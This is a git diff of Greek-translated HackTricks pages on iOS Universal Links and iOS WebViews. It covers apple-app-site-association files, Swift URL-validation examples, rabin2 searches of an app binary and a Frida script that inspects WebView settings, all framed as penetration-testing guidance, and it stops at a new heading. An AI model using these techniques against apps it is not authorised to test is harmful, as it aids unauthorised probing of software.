* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# iOS Universal Links
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρός Συνεργάτης AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Εισαγωγή
Οι Universal σύνδεσμοι προσφέρουν μια **απρόσκοπτη ανακατεύθυνση** στους χρήστες με το άνοιγμα περιεχομένου απευθείας στην εφαρμογή, παρακάμπτοντας την ανάγκη για ανακατεύθυνση στο Safari. Αυτοί οι σύνδεσμοι είναι **μοναδικοί** και ασφαλείς, καθώς δεν μπορούν να διεκδικηθούν από άλλες εφαρμογές. Αυτό εξασφαλίζεται με τον φιλοξενία ενός αρχείου JSON `apple-app-site-association` στον ριζικό κατάλογο της ιστοσελίδας, καθιστώντας επαληθέψιμο τον σύνδεσμο μεταξύ της ιστοσελίδας και της εφαρμογής. Σε περιπτώσεις όπου η εφαρμογή δεν είναι εγκατεστημένη, το Safari θα αναλάβει και θα κατευθύνει τον χρήστη στην ιστοσελίδα, διατηρώντας την παρουσία της εφαρμογής.
Οι καθολικοί σύνδεσμοι προσφέρουν μια **αδιάκοπη εμπειρία ανακατεύθυνσης** στους χρήστες, ανοίγοντας απευθείας το περιεχόμενο στην εφαρμογή, παρακάμπτοντας την ανάγκη για ανακατεύθυνση μέσω Safari. Αυτοί οι σύνδεσμοι είναι **μοναδικοί** και ασφαλείς, καθώς δεν μπορούν να διεκδικηθούν από άλλες εφαρμογές. Αυτό διασφαλίζεται με τη φιλοξενία ενός αρχείου JSON `apple-app-site-association` στον ριζικό κατάλογο της ιστοσελίδας, καθορίζοντας έναν επαληθεύσιμο σύνδεσμο μεταξύ της ιστοσελίδας και της εφαρμογής. Σε περιπτώσεις όπου η εφαρμογή δεν είναι εγκατεστημένη, το Safari θα αναλάβει και θα κατευθύνει τον χρήστη στη σελίδα, διατηρώντας την παρουσία της εφαρμογής.
Για τους ελεγκτές διείσδυσης, το αρχείο `apple-app-site-association` είναι ιδιαίτερα ενδιαφέρον καθώς μπορεί να αποκαλύψει **ευαίσθητα μονοπάτια**, πιθανώς σχετιζόμενα με μη απελευθερωμένα χαρακτηριστικά.
Για τους δοκιμαστές διείσδυσης, το αρχείο `apple-app-site-association` είναι ιδιαίτερα ενδιαφέρον καθώς μπορεί να αποκαλύψει **ευαίσθητους δρόμους**, πιθανώς περιλαμβάνοντας αυτούς που σχετίζονται με μη δημοσιευμένα χαρακτηριστικά.
### **Ανάλυση της Εξουσιοδότησης Συσχετισμένων Τομέων**
### **Ανάλυση του Δικαιώματος Σχετικών Τομέων**
Οι προγραμματιστές ενεργοποιούν τους Universal Συνδέσμους διαμορφώνοντας τους **Συσχετισμένους Τομείς** στο Xcode's Capabilities tab ή επιθεωρώντας το αρχείο `.entitlements`. Κάθε τομέας προσθέτεται με πρόθεμα `applinks:`. Για παράδειγμα, η διαμόρφωση του Telegram μπορεί να εμφανίζεται ως εξής:
Οι προγραμματιστές ενεργοποιούν τους Καθολικούς Συνδέσμους ρυθμίζοντας τους **Σχετικούς Τομείς** στην καρτέλα Δυνατοτήτων του Xcode ή ελέγχοντας το αρχείο `.entitlements`. Κάθε τομέας προτάσσεται με `applinks:`. Για παράδειγμα, η ρύθμιση του Telegram μπορεί να εμφανίζεται ως εξής:
```xml
<key>com.apple.developer.associated-domains</key>
<array>
@ -30,21 +33,21 @@
<string>applinks:t.me</string>
</array>
```
Για πιο ολοκληρωμένες εισαγωγές, ανατρέξτε στην [αρχειοθετημένη τεκμηρίωση του Apple Developer](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
Για πιο ολοκληρωμένες πληροφορίες, ανατρέξτε στην [αρχειοθετημένη τεκμηρίωση προγραμματιστών της Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
Εάν εργάζεστε με μια μεταγλωττισμένη εφαρμογή, τα δικαιώματα μπορούν να εξαχθούν όπως περιγράφεται στο [συγκεκριμένο οδηγό](extracting-entitlements-from-compiled-application.md).
Εάν εργάζεστε με μια μεταγλωττισμένη εφαρμογή, τα δικαιώματα μπορούν να εξαχθούν όπως περιγράφεται σε [αυτήν την οδηγία](extracting-entitlements-from-compiled-application.md).
### **Ανάκτηση του Αρχείου Apple App Site Association**
### **Ανάκτηση του Αρχείου Συσχέτισης Ιστοσελίδας της Apple**
Το αρχείο `apple-app-site-association` πρέπει να ανακτηθεί από τον διακομιστή χρησιμοποιώντας τους τομείς που έχουν καθοριστεί στα δικαιώματα. Βεβαιωθείτε ότι το αρχείο είναι προσβάσιμο μέσω HTTPS απευθείας στο `https://<domain>/apple-app-site-association`. Εργαλεία όπως το [Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/) μπορούν να βοηθήσουν σε αυτήν τη διαδικασία.
Το αρχείο `apple-app-site-association` θα πρέπει να ανακτηθεί από τον διακομιστή χρησιμοποιώντας τα domains που καθορίζονται στα δικαιώματα. Βεβαιωθείτε ότι το αρχείο είναι προσβάσιμο μέσω HTTPS απευθείας στο `https://<domain>/apple-app-site-association`. Εργαλεία όπως ο [Επαληθευτής Αρχείου Συσχέτισης Ιστοσελίδας της Apple (AASA)](https://branch.io/resources/aasa-validator/) μπορούν να βοηθήσουν σε αυτή τη διαδικασία.
### **Χειρισμός των Καθολικών Συνδέσεων στην Εφαρμογή**
### **Διαχείριση Καθολικών Συνδέσμων στην Εφαρμογή**
Η εφαρμογή πρέπει να υλοποιήσει συγκεκριμένες μεθόδους για τη σωστή χειρισμό των καθολικών συνδέσεων. Η κύρια μέθοδος που πρέπει να αναζητηθεί είναι η [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Είναι κρίσιμο το σχήμα των διευθύνσεων URL που χειρίζεται να είναι HTTP ή HTTPS, διότι άλλα δεν θα υποστηριχθούν.
Η εφαρμογή πρέπει να υλοποιήσει συγκεκριμένες μεθόδους για να διαχειριστεί σωστά τους καθολικούς συνδέσμους. Η κύρια μέθοδος που πρέπει να αναζητηθεί είναι η [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). Είναι κρίσιμο ότι το σχήμα των URLs που διαχειρίζεται είναι HTTP ή HTTPS, καθώς άλλα δεν θα υποστηρίζονται.
#### **Επικύρωση της Μεθόδου Χειριστή Δεδομένων**
#### **Επικύρωση της Μεθόδου Διαχείρισης Δεδομένων**
Όταν μια καθολική σύνδεση ανοίγει μια εφαρμογή, ένα αντικείμενο `NSUserActivity` περνά στην εφαρμογή με το URL. Πριν επεξεργαστείτε αυτό το URL, είναι ουσιώδες να το επικυρώσετε και να το απολυμάνετε για να αποτρέψετε τους κινδύνους ασφαλείας. Εδώ υπάρχει ένα παράδειγμα σε Swift που δείχνει τη διαδικασία:
Όταν ένας καθολικός σύνδεσμος ανοίγει μια εφαρμογή, ένα αντικείμενο `NSUserActivity` μεταφέρεται στην εφαρμογή με το URL. Πριν από την επεξεργασία αυτού του URL, είναι απαραίτητο να το επικυρώσετε και να το καθαρίσετε για να αποφευχθούν κίνδυνοι ασφαλείας. Ακολουθεί ένα παράδειγμα σε Swift που δείχνει τη διαδικασία:
```swift
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
@ -56,7 +59,7 @@ application.open(url, options: [:], completionHandler: nil)
return true
}
```
URLs πρέπει να αναλύονται και να επικυρώνονται προσεκτικά, ειδικά αν περιέχουν παραμέτρους, για να προστατευτούμε από πιθανή πλαστογράφηση ή μη έγκυρα δεδομένα. Το API `NSURLComponents` είναι χρήσιμο για αυτόν τον σκοπό, όπως φαίνεται παρακάτω:
Οι διευθύνσεις URL θα πρέπει να αναλύονται και να επικυρώνονται προσεκτικά, ειδικά αν περιλαμβάνουν παραμέτρους, για να προστατευτούν από πιθανή παραχάραξη ή κακώς διαμορφωμένα δεδομένα. Η API `NSURLComponents` είναι χρήσιμη για αυτόν τον σκοπό, όπως αποδεικνύεται παρακάτω:
```swift
func application(_ application: UIApplication,
continue userActivity: NSUserActivity,
@ -82,11 +85,26 @@ return false
}
}
```
Μέσω **συστηματικής ρύθμισης και επαλήθευσης**, οι προγραμματιστές μπορούν να εξασφαλίσουν ότι οι καθολικοί σύνδεσμοι βελτιώνουν την εμπειρία χρήστη διατηρώντας τα πρότυπα ασφάλειας και απορρήτου.
Μέσω **επιμελούς διαμόρφωσης και επικύρωσης**, οι προγραμματιστές μπορούν να διασφαλίσουν ότι οι καθολικοί σύνδεσμοι βελτιώνουν την εμπειρία του χρήστη ενώ διατηρούν τα πρότυπα ασφάλειας και ιδιωτικότητας.
## Εργαλεία
* [GetUniversal.link](https://getuniversal.link/): Βοηθά στην απλοποίηση του τεστ και της διαχείρισης των Καθολικών Συνδέσμων και του αρχείου AASA της εφαρμογής σας. Απλά εισαγάγετε τον τομέα σας για να επαληθεύσετε την ακεραιότητα του αρχείου AASA ή χρησιμοποιήστε το προσαρμοσμένο πίνακα ελέγχου για να δοκιμάσετε εύκολα τη συμπεριφορά του συνδέσμου. Αυτό το εργαλείο σάς βοηθά επίσης να προσδιορίσετε πότε θα ευρεθεί το επόμενο αρχείο AASA από την Apple.
## Tools
* [GetUniversal.link](https://getuniversal.link/): Βοηθά στην απλοποίηση της δοκιμής και διαχείρισης των Καθολικών Συνδέσμων και του αρχείου AASA της εφαρμογής σας. Απλώς εισάγετε το domain σας για να επαληθεύσετε την ακεραιότητα του αρχείου AASA ή χρησιμοποιήστε τον προσαρμοσμένο πίνακα ελέγχου για να δοκιμάσετε εύκολα τη συμπεριφορά των συνδέσμων. Αυτό το εργαλείο σας βοηθά επίσης να προσδιορίσετε πότε η Apple θα ευρετηριάσει ξανά το αρχείο AASA σας.
## Αναφορές
## References
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,32 @@
# iOS WebViews
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Ο κώδικας αυτής της σελίδας εξήχθη από [εδώ](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Ελέγξτε τη σελίδα για περαιτέρω λεπτομέρειες.
The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
## Τύποι WebViews
## WebViews types
Οι WebViews χρησιμοποιούνται στις εφαρμογές για να εμφανίζουν διαδικτυακό περιεχόμενο με διαδραστικό τρόπο. Διάφοροι τύποι WebViews προσφέρουν διάφορες λειτουργίες και χαρακτηριστικά ασφαλείας για τις εφαρμογές iOS. Εδώ έχουμε μια σύντομη επισκόπηση:
Οι WebViews χρησιμοποιούνται εντός εφαρμογών για την αλληλεπίδραση με περιεχόμενο ιστού. Διάφοροι τύποι WebViews προσφέρουν διαφορετικές λειτουργίες και χαρακτηριστικά ασφαλείας για εφαρμογές iOS. Ακολουθεί μια σύντομη επισκόπηση:
- **UIWebView**, ο οποίος δεν συνιστάται πλέον από το iOS 12 και μετά λόγω της έλλειψης υποστήριξης για απενεργοποίηση του **JavaScript**, καθιστώντας το ευάλωτο σε επιθέσεις ενσωμάτωσης σεναρίων και επιθέσεις **Cross-Site Scripting (XSS)**.
- **UIWebView**, το οποίο δεν συνιστάται πλέον από το iOS 12 και μετά λόγω της έλλειψης υποστήριξης για την απενεργοποίηση του **JavaScript**, καθιστώντας το ευάλωτο σε επιθέσεις εισαγωγής σεναρίων και **Cross-Site Scripting (XSS)**.
- **WKWebView** είναι η προτιμώμενη επιλογή για την ενσωμάτωση διαδικτυακού περιεχομένου στις εφαρμογές, προσφέροντας βελτιωμένο έλεγχο επί του περιεχομένου και χαρακτηριστικά ασφαλείας. Το **JavaScript** είναι ενεργοποιημένο από προεπιλογή, αλλά μπορεί να απενεργοποιηθεί αν είναι απαραίτητο. Υποστηρίζει επίσης χαρακτηριστικά για την αποτροπή του αυτόματου άνοιγματος παραθύρων από το JavaScript και εξασφαλίζει ότι όλο το περιεχόμενο φορτώνεται με ασφάλεια. Επιπλέον, η αρχιτεκτονική του **WKWebView** ελαχιστοποιεί τον κίνδυνο διαφθοράς μνήμης που επηρεάζει την κύρια διεργασία της εφαρμογής.
- **WKWebView** είναι η προτιμώμενη επιλογή για την ενσωμάτωση περιεχομένου ιστού σε εφαρμογές, προσφέροντας βελτιωμένο έλεγχο επί του περιεχομένου και χαρακτηριστικά ασφαλείας. Το **JavaScript** είναι ενεργοποιημένο από προεπιλογή, αλλά μπορεί να απενεργοποιηθεί αν χρειαστεί. Υποστηρίζει επίσης χαρακτηριστικά για την αποτροπή του αυτόματου ανοίγματος παραθύρων από το JavaScript και διασφαλίζει ότι όλο το περιεχόμενο φορτώνεται με ασφάλεια. Επιπλέον, η αρχιτεκτονική του **WKWebView** ελαχιστοποιεί τον κίνδυνο διαφθοράς μνήμης που επηρεάζει τη διαδικασία της κύριας εφαρμογής.
- **SFSafariViewController** προσφέρει μια τυποποιημένη εμπειρία περιήγησης στον ιστό μέσα από τις εφαρμογές, αναγνωρίσιμη από την ειδική διάταξή της που περιλαμβάνει ένα πεδίο διεύθυνσης μόνο για ανάγνωση, κουμπιά κοινοποίησης και πλοήγησης, και έναν άμεσο σύνδεσμο για να ανοίξετε περιεχόμενο στο Safari. Αντίθετα με το **WKWebView**, το **JavaScript** δεν μπορεί να απενεργοποιηθεί στο **SFSafariViewController**, το οποίο επίσης μοιράζεται cookies και δεδομένα με το Safari, διατηρώντας την ιδιωτικότητα του χρήστη από την εφαρμογή. Πρέπει να εμφανίζεται εμφανώς σύμφωνα με τις οδηγίες του App Store.
- **SFSafariViewController** προσφέρει μια τυποποιημένη εμπειρία περιήγησης ιστού εντός εφαρμογών, αναγνωρίσιμη από τη συγκεκριμένη διάταξή της που περιλαμβάνει ένα πεδίο διεύθυνσης μόνο για ανάγνωση, κουμπιά κοινής χρήσης και πλοήγησης, και έναν άμεσο σύνδεσμο για το άνοιγμα περιεχομένου στο Safari. Σε αντίθεση με το **WKWebView**, το **JavaScript** δεν μπορεί να απενεργοποιηθεί στο **SFSafariViewController**, το οποίο μοιράζεται επίσης cookies και δεδομένα με το Safari, διατηρώντας την ιδιωτικότητα του χρήστη από την εφαρμογή. Πρέπει να εμφανίζεται εμφανώς σύμφωνα με τις οδηγίες του App Store.
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
@ -34,45 +35,45 @@ WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## Περίληψη Εξερεύνησης Ρυθμίσεων WebViews
## WebViews Configuration Exploration Summary
### **Επισκόπηση Στατικής Ανάλυσης**
### **Static Analysis Overview**
Κατά τη διαδικασία εξέτασης των ρυθμίσεων των **WebViews**, επικεντρώνονται σε δύο κύριους τύπους: **UIWebView** και **WKWebView**. Για την αναγνώριση αυτών των WebViews μέσα σε ένα δυαδικό αρχείο, χρησιμοποιούνται εντολές που αναζητούν συγκεκριμένες αναφορές κλάσεων και μεθόδους αρχικοποίησης.
Στη διαδικασία εξέτασης των ρυθμίσεων **WebViews**, εστιάζονται σε δύο κύριους τύπους: **UIWebView** και **WKWebView**. Για την αναγνώριση αυτών των WebViews μέσα σε ένα δυαδικό αρχείο, χρησιμοποιούνται εντολές, αναζητώντας συγκεκριμένες αναφορές κλάσεων και μεθόδους αρχικοποίησης.
- **Αναγνώριση UIWebView**
- **UIWebView Identification**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
Αυτή η εντολή βοηθά στον εντοπισμό περιπτώσεων του **UIWebView** αναζητώντας κείμενα που σχετίζονται με αυτό στο δυαδικό αρχείο.
Αυτή η εντολή βοηθά στην εντοπισμό περιπτώσεων του **UIWebView** αναζητώντας κείμενα που σχετίζονται με αυτό στο δυαδικό αρχείο.
- **Αναγνώριση του WKWebView**
- **Αναγνώριση WKWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
Αντίστοιχα, για το **WKWebView**, αυτή η εντολή αναζητά το δυαδικό αρχείο για κείμενα που υποδηλώνουν τη χρήση του.
Ομοίως, για **WKWebView**, αυτή η εντολή αναζητά το δυαδικό αρχείο για κείμενα που υποδηλώνουν τη χρήση του.
Επιπλέον, για να βρεθεί πώς πραγματοποιείται η αρχικοποίηση ενός **WKWebView**, εκτελείται η παρακάτω εντολή, στοχεύοντας τη μέθοδο που σχετίζεται με την αρχικοποίησή του:
Επιπλέον, για να βρείτε πώς αρχικοποιείται ένα **WKWebView**, εκτελείται η παρακάτω εντολή, στοχεύοντας στην υπογραφή μεθόδου που σχετίζεται με την αρχικοποίησή του:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **Επαλήθευση Διαμόρφωσης JavaScript**
#### **Επαλήθευση Ρυθμίσεων JavaScript**
Για το **WKWebView**, τονίζεται ότι η απενεργοποίηση του JavaScript είναι μια βέλτιστη πρακτική εκτός αν απαιτείται. Αναζητείται το μεταγλωττισμένο δυαδικό αρχείο για να επιβεβαιωθεί ότι η ιδιότητα `javaScriptEnabled` έχει οριστεί σε `false`, εξασφαλίζοντας έτσι την απενεργοποίηση του JavaScript:
Για **WKWebView**, τονίζεται ότι η απενεργοποίηση της JavaScript είναι μια βέλτιστη πρακτική εκτός αν απαιτείται. Αναζητείται το συμπιεσμένο δυαδικό αρχείο για να επιβεβαιωθεί ότι η ιδιότητα `javaScriptEnabled` είναι ρυθμισμένη σε `false`, διασφαλίζοντας ότι η JavaScript είναι απενεργοποιημένη:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **Επαλήθευση Μόνο Ασφαλούς Περιεχομένου**
#### **Μόνο Έλεγχος Ασφαλούς Περιεχομένου**
Το **WKWebView** προσφέρει τη δυνατότητα αναγνώρισης προβλημάτων μεικτού περιεχομένου, σε αντίθεση με το **UIWebView**. Αυτό ελέγχεται χρησιμοποιώντας την ιδιότητα `hasOnlySecureContent` για να διασφαλιστεί ότι όλο το περιεχόμενο της σελίδας φορτώνεται μέσω ασφαλών συνδέσεων. Η αναζήτηση στο μεταγλωττισμένο δυαδικό αρχείο πραγματοποιείται ως εξής:
**WKWebView** προσφέρει τη δυνατότητα να εντοπίζει ζητήματα μικτού περιεχομένου, σε αντίθεση με το **UIWebView**. Αυτό ελέγχεται χρησιμοποιώντας την ιδιότητα `hasOnlySecureContent` για να διασφαλιστεί ότι όλοι οι πόροι της σελίδας φορτώνονται μέσω ασφαλών συνδέσεων. Η αναζήτηση στο μεταγλωττισμένο δυαδικό αρχείο πραγματοποιείται ως εξής:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **Πληροφορίες Δυναμικής Ανάλυσης**
### **Δυναμική Ανάλυση Insights**
Η δυναμική ανάλυση περιλαμβάνει τον έλεγχο του σωρού για περιπτώσεις WebView και τις ιδιότητές τους. Ένα σενάριο με το όνομα `webviews_inspector.js` χρησιμοποιείται για αυτόν τον σκοπό, στοχεύοντας σε περιπτώσεις `UIWebView`, `WKWebView` και `SFSafariViewController`. Καταγράφει πληροφορίες για τις εντοπισμένες περιπτώσεις, συμπεριλαμβανομένων των διευθύνσεων URL και των ρυθμίσεων που σχετίζονται με την JavaScript και το ασφαλές περιεχόμενο.
Η δυναμική ανάλυση περιλαμβάνει την επιθεώρηση της σωρού για τις περιπτώσεις WebView και τις ιδιότητές τους. Ένα σενάριο με το όνομα `webviews_inspector.js` χρησιμοποιείται για αυτόν τον σκοπό, στοχεύοντας τις περιπτώσεις `UIWebView`, `WKWebView` και `SFSafariViewController`. Καταγράφει πληροφορίες σχετικά με τις βρεθείσες περιπτώσεις, συμπεριλαμβανομένων των URLs και των ρυθμίσεων που σχετίζονται με το JavaScript και το ασφαλές περιεχόμενο.
Ο έλεγχος του σωρού μπορεί να πραγματοποιηθεί χρησιμοποιώντας την `ObjC.choose()` για την αναγνώριση των περιπτώσεων WebView και τον έλεγχο των ιδιοτήτων `javaScriptEnabled` και `hasonlysecurecontent`.
Η επιθεώρηση της σωρού μπορεί να διεξαχθεί χρησιμοποιώντας το `ObjC.choose()` για να εντοπιστούν οι περιπτώσεις WebView και να ελεγχθούν οι ιδιότητες `javaScriptEnabled` και `hasonlysecurecontent`.
{% code title="webviews_inspector.js" %}
```javascript
@ -126,25 +127,25 @@ console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**Κύρια Αποτελέσματα**:
- Εντοπίζονται και ελέγχονται με επιτυχία οι περιπτώσεις των WebViews.
- Επαληθεύονται οι ρυθμίσεις ενεργοποίησης JavaScript και ασφαλούς περιεχομένου.
- Οι περιπτώσεις των WebViews εντοπίζονται και επιθεωρούνται με επιτυχία.
- Η ενεργοποίηση JavaScript και οι ρυθμίσεις ασφαλούς περιεχομένου επαληθεύονται.
Αυτό το σύνοψη περιλαμβάνει τα κρίσιμα βήματα και τις εντολές που συμπεριλαμβάνονται στην ανάλυση των ρυθμίσεων WebView μέσω στατικών και δυναμικών προσεγγίσεων, με έμφαση σε χαρακτηριστικά ασφαλείας όπως η ενεργοποίηση JavaScript και η ανίχνευση αναμειγνύονται περιεχόμενα.
Αυτή η σύνοψη συνοψίζει τα κρίσιμα βήματα και τις εντολές που εμπλέκονται στην ανάλυση των ρυθμίσεων WebView μέσω στατικών και δυναμικών προσεγγίσεων, εστιάζοντας σε χαρακτηριστικά ασφαλείας όπως η ενεργοποίηση JavaScript και η ανίχνευση μικτού περιεχομένου.
## Χειρισμός Πρωτοκόλλων WebView
## Διαχείριση Πρωτοκόλλου WebView
